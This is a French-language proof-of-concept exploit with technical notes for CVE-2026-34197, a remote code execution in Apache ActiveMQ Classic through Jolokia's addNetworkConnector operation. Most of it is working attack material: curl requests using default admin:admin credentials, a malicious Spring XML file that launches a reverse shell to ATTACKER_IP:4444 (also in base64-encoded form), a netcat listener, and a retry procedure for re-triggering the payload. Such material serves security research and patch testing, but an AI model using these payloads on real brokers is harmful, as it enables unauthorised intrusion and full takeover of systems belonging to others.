
Preuve de concept d'exploitation pour CVE-2026-34197, une RCE dans Apache ActiveMQ via addNetworkConnector de Jolokia, avec notes techniques et payload de shell inversé.
addNetworkConnector RCEPreuve de concept et notes techniques pour CVE-2026-34197, une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ Classic accessible via le pont JMX-HTTP Jolokia.
conf/jolokia-access.xml) accorde exec sur chaque MBean org.apache.activemq:*. Cela inclut Broker.addNetworkConnector(String), qui accepte une URI de transport vm:// dont le paramètre de requête brokerConfig est récupéré et analysé par le broker comme un . Un bean dont la classe est avec est instancié — et démarré — comme effet secondaire de la résolution du graphe de beans par Spring. Aucune chaîne de gadgets de désérialisation requise.java.lang.ProcessBuilderinit-method="start"⚠️ Pour tests autorisés / recherche / CTF uniquement. Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Confirmez que exec est réellement accessible sur le MBean Broker :
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) n'accepte pas une URI vm://... nue — elle est d'abord analysée comme une URI d'agent de découverte, et vm n'est pas un schéma de découverte enregistré (DiscoveryAgent scheme NOT recognized: [vm]). Enveloppez-la dans static:(...), le schéma de découverte statique d'ActiveMQ, qui transmet l'URI vm:// interne sans modification :
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml :
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Le wrapper <![CDATA[...]]> est nécessaire car la commande one-liner du reverse shell contient &, que XML tenterait sinon d'analyser comme le début d'une référence d'entité. Une option équivalente, sans échappement, consiste à encoder la commande en base64 :
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
Servez-le :
python3 -m http.server 8000
Démarrez un écouteur :
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
L'en-tête Origin est important. Si le jolokia-access.xml de cette version a l'application de CORS activée (un bloc <cors></cors>, même vide), Jolokia exige un Origin/Referer bien formé sur les requêtes modifiant l'état. Omettez-le et vous obtiendrez une réponse de refus de politique qui peut donner l'impression que le système est corrigé alors qu'il ne l'est pas.
Un appel réussi renvoie :
{"value":"NC","status":200}
L'appel est aveugle sur HTTP — il n'y a pas de corps de réponse transportant la sortie de commande — donc votre écouteur de l'étape précédente est ce qui capture réellement le shell.
InstanceAlreadyExistsExceptionaddNetworkConnector(String) enregistre toujours l'objet JMX résultant sous le nom de connecteur NC, quelle que soit l'URI que vous transmettez. C'est une valeur par défaut codée en dur dans ActiveMQ lui-même, pas quelque chose dérivé de la requête :
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) n'expose jamais de moyen de la surcharger — il n'y a pas d'astuce de nom/paramètre de requête qui change le ObjectName enregistré (testé manuellement : ajouter ?name=whatever en dehors du wrapper static:(...) est silencieusement ignoré).
Conséquence : le second appel à addNetworkConnector — que ce soit votre propre nouvelle tentative après un payload cassé, ou simplement parce que le connecteur est déjà enregistré suite à une exécution réussie antérieure — échoue :
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
Cela ne nécessite pas de redémarrer le broker pour s'en remettre. Broker expose également removeNetworkConnector(String) via la même politique Jolokia (l'autorisation <allow operation="*"> sur org.apache.activemq:* couvre toutes les opérations du broker, pas seulement celle-ci). Supprimez le connecteur obsolète par nom et réessayez :
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
Un appel réussi renvoie {"value":true,"status":200}. Relancez l'étape 3 immédiatement après — elle ré-enregistre NC et déclenche à nouveau poc.xml.
admin de Jolokia/console, qui n'est pas lié au compte du système d'exploitation.addNetworkConnector ne fait pas que lancer le bean Spring une fois — il laisse un objet connecteur réseau vivant enregistré sur le broker (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). C'est un artefact durable de l'exploitation, indépendant du fait que le processus engendré persiste ou non.NetworkBridgeConfiguration.java — source de la valeur par défaut private String name = "NC";BrokerViewMBean.java — interface JMX addNetworkConnector / removeNetworkConnectorNetworkConnector.javaDiscoveryNetworkConnector.java